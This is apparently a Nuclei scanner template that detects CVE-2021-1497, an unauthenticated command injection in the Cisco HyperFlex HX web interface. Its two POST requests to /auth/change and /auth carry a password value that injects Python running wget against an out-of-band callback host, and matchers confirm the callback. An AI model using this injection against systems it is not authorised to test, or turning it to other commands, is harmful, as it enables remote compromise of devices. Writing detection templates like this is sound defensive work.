id: CVE-2021-1497

info:
  name: Cisco HyperFlex HX Data Platform RCE
  description: Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  author: gy741,sullo
  severity: critical
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1497
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  tags: cve,cve2021,cisco,rce,oob
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-1497
    cwe-id: CWE-78

requests:
  - raw:
      - |
        POST /auth/change HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}}
      - |
        POST /auth HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"